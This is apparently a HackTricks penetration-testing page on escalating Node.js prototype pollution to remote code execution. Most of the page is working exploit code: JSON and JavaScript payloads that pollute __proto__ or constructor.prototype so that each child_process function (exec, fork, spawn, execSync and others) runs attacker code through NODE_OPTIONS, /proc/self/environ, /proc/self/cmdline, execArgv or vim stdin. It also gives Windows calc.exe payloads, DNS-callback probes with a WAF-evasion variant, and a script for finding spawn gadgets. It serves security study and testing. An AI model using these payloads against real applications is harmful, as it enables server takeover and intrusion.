Prototype Pollution to RCE

Support HackTricks

Vulnerable Code

Imagine a real JS using some code like the following one:

const { execSync, fork } = require('child_process');

function isObject(obj) {
    console.log(typeof obj);
    return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
    for (let key in source) {
        if (isObject(target[key]) && isObject(source[key])) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

function clone(target) {
    return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via env vars

PP2RCE means Prototype Pollution to RCE (Remote Code Execution).

According to this writeup when a process is spawned with some method from child_process (like fork or spawn or others) it calls the method normalizeSpawnArguments which a prototype pollution gadget to create new env vars:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
  ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
  const value = env[key];
  if (value !== undefined) {
    ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
  }
}

Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.

Poisoning __proto__

Note that due to how the normalizeSpawnArguments function from the child_process library of node works, when something is called in order to set a new env variable for the process you just need to pollute anything. For example, if you do __proto__.avar="valuevar" the process will be spawned with a var called avar with value valuevar.

However, in order for the env variable to be the first one you need to pollute the .env attribute and (only in some methods) that var will be the first one (allowing the attack).

That's why NODE_OPTIONS is not inside .env in the following attack.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Poisoning constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

A similar payload to the previous one with some changes was proposed in this writeup. The main differences are:

  • Instead of storing the nodejs payload inside the file /proc/self/environ, it stores it inside argv0 of /proc/self/cmdline.

  • Then, instead of requiring via NODE_OPTIONS the file /proc/self/environ, it requires /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Interaction

Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id.oastify.com"
  }
}

Or, to avoid WAFs asking for the domain:

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
  }
}

PP2RCE vuln child_process functions

In this section where are going to analyse each function from child_process to execute code and see if we can use any technique to force that function to execute code:

exec exploitation
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile exploitation
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');

// stdin trick - not working
// Not using stdin

// Windows - not working

For execFile to work it MUST execute node for the NODE_OPTIONS to work. If it's not executing node, you need to find how you could alter the execution of whatever it's executing with environment variables and set them.

The other techniques work without this requirement because it's possible to modify what is executed via prototype pollution. (In this case, even if you can pollute .shell, you won't pollute that is being executed).

fork exploitation
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn exploitation
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync exploitation
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync exploitation
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync exploitation
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forcing Spawn

In the previous examples you saw how to trigger the gadget a functionality that calls spawn needs to be present (all methods of child_process used to execute something calls it). In the previous example that was part of the the code, but what if the code isn't calling it.

Controlling a require file path

In this other writeup the user can control the file path were a require will be executed. In that scenario the attacker just needs to find a .js file inside the system that will execute a spawn method when imported. Some examples of common files calling a spawn function when imported are:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • Find more files below

The following simple script will search for calls from child_process without any padding (to avoid showing calls inside functions):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
    grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interesting files found by previous script
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })